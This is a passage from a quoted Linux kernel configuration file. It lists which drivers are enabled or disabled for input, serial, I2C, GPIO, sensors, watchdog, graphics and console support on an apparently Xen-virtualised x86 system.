CONFIG_TOUCHSCREEN_MCS5000 is not set > # CONFIG_TOUCHSCREEN_MMS114 is not set > # CONFIG_TOUCHSCREEN_MTOUCH is not set > # CONFIG_TOUCHSCREEN_INEXIO is not set > # CONFIG_TOUCHSCREEN_MK712 is not set > # CONFIG_TOUCHSCREEN_PENMOUNT is not set > # CONFIG_TOUCHSCREEN_EDT_FT5X06 is not set > # CONFIG_TOUCHSCREEN_TOUCHRIGHT is not set > # CONFIG_TOUCHSCREEN_TOUCHWIN is not set > # CONFIG_TOUCHSCREEN_PIXCIR is not set > # CONFIG_TOUCHSCREEN_WDT87XX_I2C is not set > # CONFIG_TOUCHSCREEN_USB_COMPOSITE is not set > # CONFIG_TOUCHSCREEN_TOUCHIT213 is not set > # CONFIG_TOUCHSCREEN_TSC_SERIO is not set > # CONFIG_TOUCHSCREEN_TSC2007 is not set > # CONFIG_TOUCHSCREEN_ST1232 is not set > # CONFIG_TOUCHSCREEN_SX8654 is not set > # CONFIG_TOUCHSCREEN_TPS6507X is not set > # CONFIG_TOUCHSCREEN_ZFORCE is not set > CONFIG_INPUT_MISC=y > # CONFIG_INPUT_AD714X is not set > # CONFIG_INPUT_BMA150 is not set > # CONFIG_INPUT_E3X0_BUTTON is not set > CONFIG_INPUT_PCSPKR=y > # CONFIG_INPUT_MMA8450 is not set > # CONFIG_INPUT_MPU3050 is not set > # CONFIG_INPUT_APANEL is not set > # CONFIG_INPUT_GP2A is not set > # CONFIG_INPUT_GPIO_BEEPER is not set > # CONFIG_INPUT_GPIO_TILT_POLLED is not set > # CONFIG_INPUT_ATLAS_BTNS is not set > # CONFIG_INPUT_ATI_REMOTE2 is not set > # CONFIG_INPUT_KEYSPAN_REMOTE is not set > # CONFIG_INPUT_KXTJ9 is not set > # CONFIG_INPUT_POWERMATE is not set > # CONFIG_INPUT_YEALINK is not set > # CONFIG_INPUT_CM109 is not set > # CONFIG_INPUT_UINPUT is not set > # CONFIG_INPUT_PCF8574 is not set > # CONFIG_INPUT_GPIO_ROTARY_ENCODER is not set > # CONFIG_INPUT_ADXL34X is not set > # CONFIG_INPUT_IMS_PCU is not set > # CONFIG_INPUT_CMA3000 is not set > CONFIG_INPUT_XEN_KBDDEV_FRONTEND=y > # CONFIG_INPUT_IDEAPAD_SLIDEBAR is not set > # CONFIG_INPUT_DRV260X_HAPTICS is not set > # CONFIG_INPUT_DRV2665_HAPTICS is not set > # CONFIG_INPUT_DRV2667_HAPTICS is not set > > # > # Hardware I/O ports > # > CONFIG_SERIO=y > CONFIG_ARCH_MIGHT_HAVE_PC_SERIO=y > CONFIG_SERIO_I8042=y > CONFIG_SERIO_SERPORT=y > # CONFIG_SERIO_CT82C710 is not set > # CONFIG_SERIO_PARKBD is not set > # CONFIG_SERIO_PCIPS2 is not set > CONFIG_SERIO_LIBPS2=y > CONFIG_SERIO_RAW=y > # CONFIG_SERIO_ALTERA_PS2 is not set > # CONFIG_SERIO_PS2MULT is not set > # CONFIG_SERIO_ARC_PS2 is not set > # CONFIG_GAMEPORT is not set > > # > # Character devices > # > CONFIG_TTY=y > CONFIG_VT=y > CONFIG_CONSOLE_TRANSLATIONS=y > CONFIG_VT_CONSOLE=y > CONFIG_VT_CONSOLE_SLEEP=y > CONFIG_HW_CONSOLE=y > CONFIG_VT_HW_CONSOLE_BINDING=y > CONFIG_UNIX98_PTYS=y > CONFIG_DEVPTS_MULTIPLE_INSTANCES=y > # CONFIG_LEGACY_PTYS is not set > CONFIG_SERIAL_NONSTANDARD=y > # CONFIG_ROCKETPORT is not set > # CONFIG_CYCLADES is not set > # CONFIG_MOXA_INTELLIO is not set > # CONFIG_MOXA_SMARTIO is not set > # CONFIG_SYNCLINK is not set > # CONFIG_SYNCLINKMP is not set > # CONFIG_SYNCLINK_GT is not set > # CONFIG_NOZOMI is not set > # CONFIG_ISI is not set > # CONFIG_N_HDLC is not set > # CONFIG_N_GSM is not set > # CONFIG_TRACE_SINK is not set > CONFIG_DEVMEM=y > # CONFIG_DEVKMEM is not set > > # > # Serial drivers > # > CONFIG_SERIAL_EARLYCON=y > CONFIG_SERIAL_8250=y > # CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set > CONFIG_SERIAL_8250_PNP=y > CONFIG_SERIAL_8250_CONSOLE=y > CONFIG_SERIAL_8250_DMA=y > CONFIG_SERIAL_8250_PCI=y > # CONFIG_SERIAL_8250_CS is not set > CONFIG_SERIAL_8250_NR_UARTS=32 > CONFIG_SERIAL_8250_RUNTIME_UARTS=4 > CONFIG_SERIAL_8250_EXTENDED=y > CONFIG_SERIAL_8250_MANY_PORTS=y > CONFIG_SERIAL_8250_SHARE_IRQ=y > # CONFIG_SERIAL_8250_DETECT_IRQ is not set > CONFIG_SERIAL_8250_RSA=y > # CONFIG_SERIAL_8250_DW is not set > # CONFIG_SERIAL_8250_FINTEK is not set > > # > # Non-8250 serial port support > # > # CONFIG_SERIAL_KGDB_NMI is not set > CONFIG_SERIAL_CORE=y > CONFIG_SERIAL_CORE_CONSOLE=y > CONFIG_CONSOLE_POLL=y > # CONFIG_SERIAL_JSM is not set > # CONFIG_SERIAL_SCCNXP is not set > # CONFIG_SERIAL_SC16IS7XX is not set > # CONFIG_SERIAL_ALTERA_JTAGUART is not set > # CONFIG_SERIAL_ALTERA_UART is not set > # CONFIG_SERIAL_ARC is not set > # CONFIG_SERIAL_RP2 is not set > # CONFIG_SERIAL_FSL_LPUART is not set > # CONFIG_TTY_PRINTK is not set > # CONFIG_PRINTER is not set > CONFIG_PPDEV=y > CONFIG_HVC_DRIVER=y > CONFIG_HVC_IRQ=y > CONFIG_HVC_XEN=y > CONFIG_HVC_XEN_FRONTEND=y > CONFIG_VIRTIO_CONSOLE=y > # CONFIG_IPMI_HANDLER is not set > CONFIG_HW_RANDOM=y > # CONFIG_HW_RANDOM_TIMERIOMEM is not set > # CONFIG_HW_RANDOM_INTEL is not set > # CONFIG_HW_RANDOM_AMD is not set > # CONFIG_HW_RANDOM_VIA is not set > # CONFIG_HW_RANDOM_VIRTIO is not set > CONFIG_NVRAM=y > # CONFIG_R3964 is not set > # CONFIG_APPLICOM is not set > > # > # PCMCIA character devices > # > # CONFIG_SYNCLINK_CS is not set > # CONFIG_CARDMAN_4000 is not set > # CONFIG_CARDMAN_4040 is not set > # CONFIG_IPWIRELESS is not set > # CONFIG_MWAVE is not set > CONFIG_RAW_DRIVER=y > CONFIG_MAX_RAW_DEVS=8192 > CONFIG_HPET=y > # CONFIG_HPET_MMAP is not set > # CONFIG_HANGCHECK_TIMER is not set > # CONFIG_UV_MMTIMER is not set > # CONFIG_TCG_TPM is not set > # CONFIG_TELCLOCK is not set > CONFIG_DEVPORT=y > # CONFIG_XILLYBUS is not set > > # > # I2C support > # > CONFIG_I2C=y > CONFIG_ACPI_I2C_OPREGION=y > CONFIG_I2C_BOARDINFO=y > CONFIG_I2C_COMPAT=y > # CONFIG_I2C_CHARDEV is not set > # CONFIG_I2C_MUX is not set > CONFIG_I2C_HELPER_AUTO=y > CONFIG_I2C_ALGOBIT=y > > # > # I2C Hardware Bus support > # > > # > # PC SMBus host controller drivers > # > # CONFIG_I2C_ALI1535 is not set > # CONFIG_I2C_ALI1563 is not set > # CONFIG_I2C_ALI15X3 is not set > # CONFIG_I2C_AMD756 is not set > # CONFIG_I2C_AMD8111 is not set > # CONFIG_I2C_I801 is not set > # CONFIG_I2C_ISCH is not set > # CONFIG_I2C_ISMT is not set > CONFIG_I2C_PIIX4=y > # CONFIG_I2C_NFORCE2 is not set > # CONFIG_I2C_SIS5595 is not set > # CONFIG_I2C_SIS630 is not set > # CONFIG_I2C_SIS96X is not set > # CONFIG_I2C_VIA is not set > # CONFIG_I2C_VIAPRO is not set > > # > # ACPI drivers > # > # CONFIG_I2C_SCMI is not set > > # > # I2C system bus drivers (mostly embedded / system-on-chip) > # > # CONFIG_I2C_CBUS_GPIO is not set > # CONFIG_I2C_DESIGNWARE_PLATFORM is not set > # CONFIG_I2C_DESIGNWARE_PCI is not set > # CONFIG_I2C_GPIO is not set > # CONFIG_I2C_OCORES is not set > # CONFIG_I2C_PCA_PLATFORM is not set > # CONFIG_I2C_PXA_PCI is not set > # CONFIG_I2C_SIMTEC is not set > # CONFIG_I2C_XILINX is not set > > # > # External I2C/SMBus adapter drivers > # > # CONFIG_I2C_DIOLAN_U2C is not set > # CONFIG_I2C_PARPORT is not set > # CONFIG_I2C_PARPORT_LIGHT is not set > # CONFIG_I2C_ROBOTFUZZ_OSIF is not set > # CONFIG_I2C_TAOS_EVM is not set > # CONFIG_I2C_TINY_USB is not set > > # > # Other I2C/SMBus bus drivers > # > # CONFIG_I2C_STUB is not set > CONFIG_I2C_SLAVE=y > # CONFIG_I2C_SLAVE_EEPROM is not set > # CONFIG_I2C_DEBUG_CORE is not set > # CONFIG_I2C_DEBUG_ALGO is not set > # CONFIG_I2C_DEBUG_BUS is not set > # CONFIG_SPI is not set > # CONFIG_SPMI is not set > # CONFIG_HSI is not set > > # > # PPS support > # > # CONFIG_PPS is not set > > # > # PPS generators support > # > > # > # PTP clock support > # > # CONFIG_PTP_1588_CLOCK is not set > # CONFIG_DP83640_PHY is not set > CONFIG_PINCTRL=y > > # > # Pin controllers > # > # CONFIG_DEBUG_PINCTRL is not set > # CONFIG_PINCTRL_AMD is not set > CONFIG_PINCTRL_BAYTRAIL=y > # CONFIG_PINCTRL_CHERRYVIEW is not set > # CONFIG_PINCTRL_SUNRISEPOINT is not set > CONFIG_ARCH_WANT_OPTIONAL_GPIOLIB=y > CONFIG_GPIOLIB=y > CONFIG_GPIO_DEVRES=y > CONFIG_GPIO_ACPI=y > CONFIG_GPIOLIB_IRQCHIP=y > # CONFIG_DEBUG_GPIO is not set > CONFIG_GPIO_SYSFS=y > > # > # Memory mapped GPIO drivers > # > # CONFIG_GPIO_DWAPB is not set > # CONFIG_GPIO_F7188X is not set > # CONFIG_GPIO_GENERIC_PLATFORM is not set > # CONFIG_GPIO_ICH is not set > # CONFIG_GPIO_IT8761E is not set > # CONFIG_GPIO_LYNXPOINT is not set > # CONFIG_GPIO_SCH is not set > # CONFIG_GPIO_SCH311X is not set > # CONFIG_GPIO_VX855 is not set > > # > # I2C GPIO expanders > # > # CONFIG_GPIO_ADP5588 is not set > # CONFIG_GPIO_MAX7300 is not set > # CONFIG_GPIO_MAX732X is not set > # CONFIG_GPIO_PCA953X is not set > # CONFIG_GPIO_PCF857X is not set > # CONFIG_GPIO_SX150X is not set > > # > # MFD GPIO expanders > # > > # > # PCI GPIO expanders > # > # CONFIG_GPIO_AMD8111 is not set > # CONFIG_GPIO_BT8XX is not set > # CONFIG_GPIO_INTEL_MID is not set > # CONFIG_GPIO_ML_IOH is not set > # CONFIG_GPIO_RDC321X is not set > > # > # USB GPIO expanders > # > # CONFIG_W1 is not set > CONFIG_POWER_SUPPLY=y > # CONFIG_POWER_SUPPLY_DEBUG is not set > # CONFIG_PDA_POWER is not set > # CONFIG_TEST_POWER is not set > # CONFIG_BATTERY_DS2780 is not set > # CONFIG_BATTERY_DS2781 is not set > # CONFIG_BATTERY_DS2782 is not set > # CONFIG_BATTERY_SBS is not set > # CONFIG_BATTERY_BQ27x00 is not set > # CONFIG_BATTERY_MAX17040 is not set > # CONFIG_BATTERY_MAX17042 is not set > # CONFIG_CHARGER_MAX8903 is not set > # CONFIG_CHARGER_LP8727 is not set > # CONFIG_CHARGER_GPIO is not set > # CONFIG_CHARGER_BQ2415X is not set > # CONFIG_CHARGER_BQ24190 is not set > # CONFIG_CHARGER_BQ24735 is not set > # CONFIG_CHARGER_BQ25890 is not set > # CONFIG_CHARGER_SMB347 is not set > # CONFIG_BATTERY_GAUGE_LTC2941 is not set > # CONFIG_CHARGER_RT9455 is not set > CONFIG_POWER_RESET=y > # CONFIG_POWER_RESET_RESTART is not set > # CONFIG_POWER_AVS is not set > CONFIG_HWMON=y > # CONFIG_HWMON_VID is not set > # CONFIG_HWMON_DEBUG_CHIP is not set > > # > # Native drivers > # > # CONFIG_SENSORS_ABITUGURU is not set > # CONFIG_SENSORS_ABITUGURU3 is not set > # CONFIG_SENSORS_AD7414 is not set > # CONFIG_SENSORS_AD7418 is not set > # CONFIG_SENSORS_ADM1021 is not set > # CONFIG_SENSORS_ADM1025 is not set > # CONFIG_SENSORS_ADM1026 is not set > # CONFIG_SENSORS_ADM1029 is not set > # CONFIG_SENSORS_ADM1031 is not set > # CONFIG_SENSORS_ADM9240 is not set > # CONFIG_SENSORS_ADT7410 is not set > # CONFIG_SENSORS_ADT7411 is not set > # CONFIG_SENSORS_ADT7462 is not set > # CONFIG_SENSORS_ADT7470 is not set > # CONFIG_SENSORS_ADT7475 is not set > # CONFIG_SENSORS_ASC7621 is not set > # CONFIG_SENSORS_K8TEMP is not set > # CONFIG_SENSORS_K10TEMP is not set > # CONFIG_SENSORS_FAM15H_POWER is not set > # CONFIG_SENSORS_APPLESMC is not set > # CONFIG_SENSORS_ASB100 is not set > # CONFIG_SENSORS_ATXP1 is not set > # CONFIG_SENSORS_DS620 is not set > # CONFIG_SENSORS_DS1621 is not set > # CONFIG_SENSORS_DELL_SMM is not set > # CONFIG_SENSORS_I5K_AMB is not set > # CONFIG_SENSORS_F71805F is not set > # CONFIG_SENSORS_F71882FG is not set > # CONFIG_SENSORS_F75375S is not set > # CONFIG_SENSORS_FSCHMD is not set > # CONFIG_SENSORS_GL518SM is not set > # CONFIG_SENSORS_GL520SM is not set > # CONFIG_SENSORS_G760A is not set > # CONFIG_SENSORS_G762 is not set > # CONFIG_SENSORS_GPIO_FAN is not set > # CONFIG_SENSORS_HIH6130 is not set > # CONFIG_SENSORS_I5500 is not set > # CONFIG_SENSORS_CORETEMP is not set > # CONFIG_SENSORS_IT87 is not set > # CONFIG_SENSORS_JC42 is not set > # CONFIG_SENSORS_POWR1220 is not set > # CONFIG_SENSORS_LINEAGE is not set > # CONFIG_SENSORS_LTC2945 is not set > # CONFIG_SENSORS_LTC4151 is not set > # CONFIG_SENSORS_LTC4215 is not set > # CONFIG_SENSORS_LTC4222 is not set > # CONFIG_SENSORS_LTC4245 is not set > # CONFIG_SENSORS_LTC4260 is not set > # CONFIG_SENSORS_LTC4261 is not set > # CONFIG_SENSORS_MAX16065 is not set > # CONFIG_SENSORS_MAX1619 is not set > # CONFIG_SENSORS_MAX1668 is not set > # CONFIG_SENSORS_MAX197 is not set > # CONFIG_SENSORS_MAX6639 is not set > # CONFIG_SENSORS_MAX6642 is not set > # CONFIG_SENSORS_MAX6650 is not set > # CONFIG_SENSORS_MAX6697 is not set > # CONFIG_SENSORS_HTU21 is not set > # CONFIG_SENSORS_MCP3021 is not set > # CONFIG_SENSORS_LM63 is not set > # CONFIG_SENSORS_LM73 is not set > # CONFIG_SENSORS_LM75 is not set > # CONFIG_SENSORS_LM77 is not set > # CONFIG_SENSORS_LM78 is not set > # CONFIG_SENSORS_LM80 is not set > # CONFIG_SENSORS_LM83 is not set > # CONFIG_SENSORS_LM85 is not set > # CONFIG_SENSORS_LM87 is not set > # CONFIG_SENSORS_LM90 is not set > # CONFIG_SENSORS_LM92 is not set > # CONFIG_SENSORS_LM93 is not set > # CONFIG_SENSORS_LM95234 is not set > # CONFIG_SENSORS_LM95241 is not set > # CONFIG_SENSORS_LM95245 is not set > # CONFIG_SENSORS_PC87360 is not set > # CONFIG_SENSORS_PC87427 is not set > # CONFIG_SENSORS_NTC_THERMISTOR is not set > # CONFIG_SENSORS_NCT6683 is not set > # CONFIG_SENSORS_NCT6775 is not set > # CONFIG_SENSORS_NCT7802 is not set > # CONFIG_SENSORS_NCT7904 is not set > # CONFIG_SENSORS_PCF8591 is not set > # CONFIG_PMBUS is not set > # CONFIG_SENSORS_SHT15 is not set > # CONFIG_SENSORS_SHT21 is not set > # CONFIG_SENSORS_SHTC1 is not set > # CONFIG_SENSORS_SIS5595 is not set > # CONFIG_SENSORS_DME1737 is not set > # CONFIG_SENSORS_EMC1403 is not set > # CONFIG_SENSORS_EMC2103 is not set > # CONFIG_SENSORS_EMC6W201 is not set > # CONFIG_SENSORS_SMSC47M1 is not set > # CONFIG_SENSORS_SMSC47M192 is not set > # CONFIG_SENSORS_SMSC47B397 is not set > # CONFIG_SENSORS_SCH56XX_COMMON is not set > # CONFIG_SENSORS_SCH5627 is not set > # CONFIG_SENSORS_SCH5636 is not set > # CONFIG_SENSORS_SMM665 is not set > # CONFIG_SENSORS_ADC128D818 is not set > # CONFIG_SENSORS_ADS1015 is not set > # CONFIG_SENSORS_ADS7828 is not set > # CONFIG_SENSORS_AMC6821 is not set > # CONFIG_SENSORS_INA209 is not set > # CONFIG_SENSORS_INA2XX is not set > # CONFIG_SENSORS_TC74 is not set > # CONFIG_SENSORS_THMC50 is not set > # CONFIG_SENSORS_TMP102 is not set > # CONFIG_SENSORS_TMP103 is not set > # CONFIG_SENSORS_TMP401 is not set > # CONFIG_SENSORS_TMP421 is not set > # CONFIG_SENSORS_VIA_CPUTEMP is not set > # CONFIG_SENSORS_VIA686A is not set > # CONFIG_SENSORS_VT1211 is not set > # CONFIG_SENSORS_VT8231 is not set > # CONFIG_SENSORS_W83781D is not set > # CONFIG_SENSORS_W83791D is not set > # CONFIG_SENSORS_W83792D is not set > # CONFIG_SENSORS_W83793 is not set > # CONFIG_SENSORS_W83795 is not set > # CONFIG_SENSORS_W83L785TS is not set > # CONFIG_SENSORS_W83L786NG is not set > # CONFIG_SENSORS_W83627HF is not set > # CONFIG_SENSORS_W83627EHF is not set > > # > # ACPI drivers > # > # CONFIG_SENSORS_ACPI_POWER is not set > # CONFIG_SENSORS_ATK0110 is not set > CONFIG_THERMAL=y > CONFIG_THERMAL_HWMON=y > # CONFIG_THERMAL_WRITABLE_TRIPS is not set > CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y > # CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set > # CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set > # CONFIG_THERMAL_DEFAULT_GOV_POWER_ALLOCATOR is not set > CONFIG_THERMAL_GOV_FAIR_SHARE=y > CONFIG_THERMAL_GOV_STEP_WISE=y > CONFIG_THERMAL_GOV_BANG_BANG=y > CONFIG_THERMAL_GOV_USER_SPACE=y > # CONFIG_THERMAL_GOV_POWER_ALLOCATOR is not set > # CONFIG_THERMAL_EMULATION is not set > # CONFIG_INTEL_POWERCLAMP is not set > # CONFIG_X86_PKG_TEMP_THERMAL is not set > # CONFIG_INTEL_SOC_DTS_THERMAL is not set > # CONFIG_INT340X_THERMAL is not set > > # > # Texas Instruments thermal drivers > # > CONFIG_WATCHDOG=y > CONFIG_WATCHDOG_CORE=y > # CONFIG_WATCHDOG_NOWAYOUT is not set > > # > # Watchdog Device Drivers > # > # CONFIG_SOFT_WATCHDOG is not set > # CONFIG_XILINX_WATCHDOG is not set > # CONFIG_CADENCE_WATCHDOG is not set > # CONFIG_DW_WATCHDOG is not set > # CONFIG_MAX63XX_WATCHDOG is not set > # CONFIG_ACQUIRE_WDT is not set > # CONFIG_ADVANTECH_WDT is not set > # CONFIG_ALIM1535_WDT is not set > # CONFIG_ALIM7101_WDT is not set > # CONFIG_F71808E_WDT is not set > # CONFIG_SP5100_TCO is not set > # CONFIG_SBC_FITPC2_WATCHDOG is not set > # CONFIG_EUROTECH_WDT is not set > # CONFIG_IB700_WDT is not set > # CONFIG_IBMASR is not set > # CONFIG_WAFER_WDT is not set > # CONFIG_I6300ESB_WDT is not set > # CONFIG_IE6XX_WDT is not set > # CONFIG_ITCO_WDT is not set > # CONFIG_IT8712F_WDT is not set > # CONFIG_IT87_WDT is not set > # CONFIG_HP_WATCHDOG is not set > # CONFIG_SC1200_WDT is not set > # CONFIG_PC87413_WDT is not set > # CONFIG_NV_TCO is not set > # CONFIG_60XX_WDT is not set > # CONFIG_CPU5_WDT is not set > # CONFIG_SMSC_SCH311X_WDT is not set > # CONFIG_SMSC37B787_WDT is not set > # CONFIG_VIA_WDT is not set > # CONFIG_W83627HF_WDT is not set > # CONFIG_W83877F_WDT is not set > # CONFIG_W83977F_WDT is not set > # CONFIG_MACHZ_WDT is not set > # CONFIG_SBC_EPX_C3_WATCHDOG is not set > # CONFIG_MEN_A21_WDT is not set > # CONFIG_XEN_WDT is not set > > # > # PCI-based Watchdog Cards > # > # CONFIG_PCIPCWATCHDOG is not set > # CONFIG_WDTPCI is not set > > # > # USB-based Watchdog Cards > # > # CONFIG_USBPCWATCHDOG is not set > CONFIG_SSB_POSSIBLE=y > > # > # Sonics Silicon Backplane > # > # CONFIG_SSB is not set > CONFIG_BCMA_POSSIBLE=y > > # > # Broadcom specific AMBA > # > # CONFIG_BCMA is not set > > # > # Multifunction device drivers > # > # CONFIG_MFD_CORE is not set > # CONFIG_MFD_AS3711 is not set > # CONFIG_PMIC_ADP5520 is not set > # CONFIG_MFD_AAT2870_CORE is not set > # CONFIG_MFD_BCM590XX is not set > # CONFIG_MFD_AXP20X is not set > # CONFIG_MFD_CROS_EC is not set > # CONFIG_PMIC_DA903X is not set > # CONFIG_MFD_DA9052_I2C is not set > # CONFIG_MFD_DA9055 is not set > # CONFIG_MFD_DA9063 is not set > # CONFIG_MFD_DA9150 is not set > # CONFIG_MFD_DLN2 is not set > # CONFIG_MFD_MC13XXX_I2C is not set > # CONFIG_HTC_PASIC3 is not set > # CONFIG_HTC_I2CPLD is not set > # CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set > # CONFIG_LPC_ICH is not set > # CONFIG_LPC_SCH is not set > # CONFIG_INTEL_SOC_PMIC is not set > # CONFIG_MFD_JANZ_CMODIO is not set > # CONFIG_MFD_KEMPLD is not set > # CONFIG_MFD_88PM800 is not set > # CONFIG_MFD_88PM805 is not set > # CONFIG_MFD_88PM860X is not set > # CONFIG_MFD_MAX14577 is not set > # CONFIG_MFD_MAX77693 is not set > # CONFIG_MFD_MAX77843 is not set > # CONFIG_MFD_MAX8907 is not set > # CONFIG_MFD_MAX8925 is not set > # CONFIG_MFD_MAX8997 is not set > # CONFIG_MFD_MAX8998 is not set > # CONFIG_MFD_MT6397 is not set > # CONFIG_MFD_MENF21BMC is not set > # CONFIG_MFD_VIPERBOARD is not set > # CONFIG_MFD_RETU is not set > # CONFIG_MFD_PCF50633 is not set > # CONFIG_MFD_RDC321X is not set > # CONFIG_MFD_RTSX_PCI is not set > # CONFIG_MFD_RT5033 is not set > # CONFIG_MFD_RTSX_USB is not set > # CONFIG_MFD_RC5T583 is not set > # CONFIG_MFD_RN5T618 is not set > # CONFIG_MFD_SEC_CORE is not set > # CONFIG_MFD_SI476X_CORE is not set > # CONFIG_MFD_SM501 is not set > # CONFIG_MFD_SKY81452 is not set > # CONFIG_MFD_SMSC is not set > # CONFIG_ABX500_CORE is not set > # CONFIG_MFD_SYSCON is not set > # CONFIG_MFD_TI_AM335X_TSCADC is not set > # CONFIG_MFD_LP3943 is not set > # CONFIG_MFD_LP8788 is not set > # CONFIG_MFD_PALMAS is not set > # CONFIG_TPS6105X is not set > # CONFIG_TPS65010 is not set > # CONFIG_TPS6507X is not set > # CONFIG_MFD_TPS65090 is not set > # CONFIG_MFD_TPS65217 is not set > # CONFIG_MFD_TPS65218 is not set > # CONFIG_MFD_TPS6586X is not set > # CONFIG_MFD_TPS65910 is not set > # CONFIG_MFD_TPS65912 is not set > # CONFIG_MFD_TPS65912_I2C is not set > # CONFIG_MFD_TPS80031 is not set > # CONFIG_TWL4030_CORE is not set > # CONFIG_TWL6040_CORE is not set > # CONFIG_MFD_WL1273_CORE is not set > # CONFIG_MFD_LM3533 is not set > # CONFIG_MFD_TMIO is not set > # CONFIG_MFD_VX855 is not set > # CONFIG_MFD_ARIZONA_I2C is not set > # CONFIG_MFD_WM8400 is not set > # CONFIG_MFD_WM831X_I2C is not set > # CONFIG_MFD_WM8350_I2C is not set > # CONFIG_MFD_WM8994 is not set > # CONFIG_REGULATOR is not set > # CONFIG_MEDIA_SUPPORT is not set > > # > # Graphics support > # > CONFIG_AGP=y > CONFIG_AGP_AMD64=y > CONFIG_AGP_INTEL=y > CONFIG_AGP_SIS=y > CONFIG_AGP_VIA=y > CONFIG_INTEL_GTT=y > CONFIG_VGA_ARB=y > CONFIG_VGA_ARB_MAX_GPUS=16 > CONFIG_VGA_SWITCHEROO=y > > # > # Direct Rendering Manager > # > CONFIG_DRM=y > CONFIG_DRM_KMS_HELPER=y > CONFIG_DRM_KMS_FB_HELPER=y > CONFIG_DRM_LOAD_EDID_FIRMWARE=y > CONFIG_DRM_TTM=y > > # > # I2C encoder or helper chips > # > # CONFIG_DRM_I2C_ADV7511 is not set > # CONFIG_DRM_I2C_CH7006 is not set > # CONFIG_DRM_I2C_SIL164 is not set > # CONFIG_DRM_I2C_NXP_TDA998X is not set > # CONFIG_DRM_TDFX is not set > # CONFIG_DRM_R128 is not set > # CONFIG_DRM_RADEON is not set > # CONFIG_DRM_AMDGPU is not set > # CONFIG_DRM_NOUVEAU is not set > # CONFIG_DRM_I810 is not set > # CONFIG_DRM_I915 is not set > # CONFIG_DRM_MGA is not set > # CONFIG_DRM_SIS is not set > # CONFIG_DRM_VIA is not set > # CONFIG_DRM_SAVAGE is not set > # CONFIG_DRM_VGEM is not set > # CONFIG_DRM_VMWGFX is not set > # CONFIG_DRM_GMA500 is not set > # CONFIG_DRM_UDL is not set > # CONFIG_DRM_AST is not set > # CONFIG_DRM_MGAG200 is not set > # CONFIG_DRM_CIRRUS_QEMU is not set > CONFIG_DRM_QXL=y > # CONFIG_DRM_BOCHS is not set > # CONFIG_DRM_VIRTIO_GPU is not set > > # > # Frame buffer Devices > # > CONFIG_FB=y > # CONFIG_FIRMWARE_EDID is not set > CONFIG_FB_CMDLINE=y > # CONFIG_FB_DDC is not set > CONFIG_FB_BOOT_VESA_SUPPORT=y > CONFIG_FB_CFB_FILLRECT=y > CONFIG_FB_CFB_COPYAREA=y > CONFIG_FB_CFB_IMAGEBLIT=y > # CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set > CONFIG_FB_SYS_FILLRECT=y > CONFIG_FB_SYS_COPYAREA=y > CONFIG_FB_SYS_IMAGEBLIT=y > # CONFIG_FB_FOREIGN_ENDIAN is not set > CONFIG_FB_SYS_FOPS=y > CONFIG_FB_DEFERRED_IO=y > # CONFIG_FB_SVGALIB is not set > # CONFIG_FB_MACMODES is not set > # CONFIG_FB_BACKLIGHT is not set > # CONFIG_FB_MODE_HELPERS is not set > CONFIG_FB_TILEBLITTING=y > > # > # Frame buffer hardware drivers > # > # CONFIG_FB_CIRRUS is not set > # CONFIG_FB_PM2 is not set > # CONFIG_FB_CYBER2000 is not set > # CONFIG_FB_ARC is not set > # CONFIG_FB_ASILIANT is not set > # CONFIG_FB_IMSTT is not set > # CONFIG_FB_VGA16 is not set > # CONFIG_FB_UVESA is not set > CONFIG_FB_VESA=y > CONFIG_FB_EFI=y > # CONFIG_FB_N411 is not set > # CONFIG_FB_HGA is not set > # CONFIG_FB_OPENCORES is not set > # CONFIG_FB_S1D13XXX is not set > # CONFIG_FB_NVIDIA is not set > # CONFIG_FB_RIVA is not set > # CONFIG_FB_I740 is not set > # CONFIG_FB_LE80578 is not set > # CONFIG_FB_INTEL is not set > # CONFIG_FB_MATROX is not set > # CONFIG_FB_RADEON is not set > # CONFIG_FB_ATY128 is not set > # CONFIG_FB_ATY is not set > # CONFIG_FB_S3 is not set > # CONFIG_FB_SAVAGE is not set > # CONFIG_FB_SIS is not set > # CONFIG_FB_VIA is not set > # CONFIG_FB_NEOMAGIC is not set > # CONFIG_FB_KYRO is not set > # CONFIG_FB_3DFX is not set > # CONFIG_FB_VOODOO1 is not set > # CONFIG_FB_VT8623 is not set > # CONFIG_FB_TRIDENT is not set > # CONFIG_FB_ARK is not set > # CONFIG_FB_PM3 is not set > # CONFIG_FB_CARMINE is not set > # CONFIG_FB_SMSCUFX is not set > # CONFIG_FB_UDL is not set > # CONFIG_FB_VIRTUAL is not set > CONFIG_XEN_FBDEV_FRONTEND=y > # CONFIG_FB_METRONOME is not set > # CONFIG_FB_MB862XX is not set > # CONFIG_FB_BROADSHEET is not set > # CONFIG_FB_AUO_K190X is not set > # CONFIG_FB_SIMPLE is not set > CONFIG_BACKLIGHT_LCD_SUPPORT=y > # CONFIG_LCD_CLASS_DEVICE is not set > CONFIG_BACKLIGHT_CLASS_DEVICE=y > # CONFIG_BACKLIGHT_GENERIC is not set > # CONFIG_BACKLIGHT_APPLE is not set > # CONFIG_BACKLIGHT_SAHARA is not set > # CONFIG_BACKLIGHT_ADP8860 is not set > # CONFIG_BACKLIGHT_ADP8870 is not set > # CONFIG_BACKLIGHT_LM3639 is not set > # CONFIG_BACKLIGHT_GPIO is not set > # CONFIG_BACKLIGHT_LV5207LP is not set > # CONFIG_BACKLIGHT_BD6107 is not set > # CONFIG_VGASTATE is not set > CONFIG_HDMI=y > > # > # Console display driver support > # > CONFIG_VGA_CONSOLE=y > CONFIG_VGACON_SOFT_SCROLLBACK=y > CONFIG_VGACON_SOFT_SCROLLBACK_SIZE=64 > CONFIG_DUMMY_CONSOLE=y > CONFIG_DUMMY_CONSOLE_COLUMNS=80 > CONFIG_DUMMY_CONSOLE_ROWS=25 > CONFIG_FRAMEBUFFER_CONSOLE=y > CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y > CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y > CONFIG_LOGO=y > # CONFIG_LOGO_LINUX_MONO is not set > # CONFIG_LOGO_LINUX_VGA16 is not set > CONFIG_LOGO_LINUX_CLUT224=y > # CONFIG_SOUND is not set > > # > # HID support > # > CONFIG_HID=y > CONFIG_HID_BATTERY_STRENGTH=y > CONFIG_HIDRAW=y > # 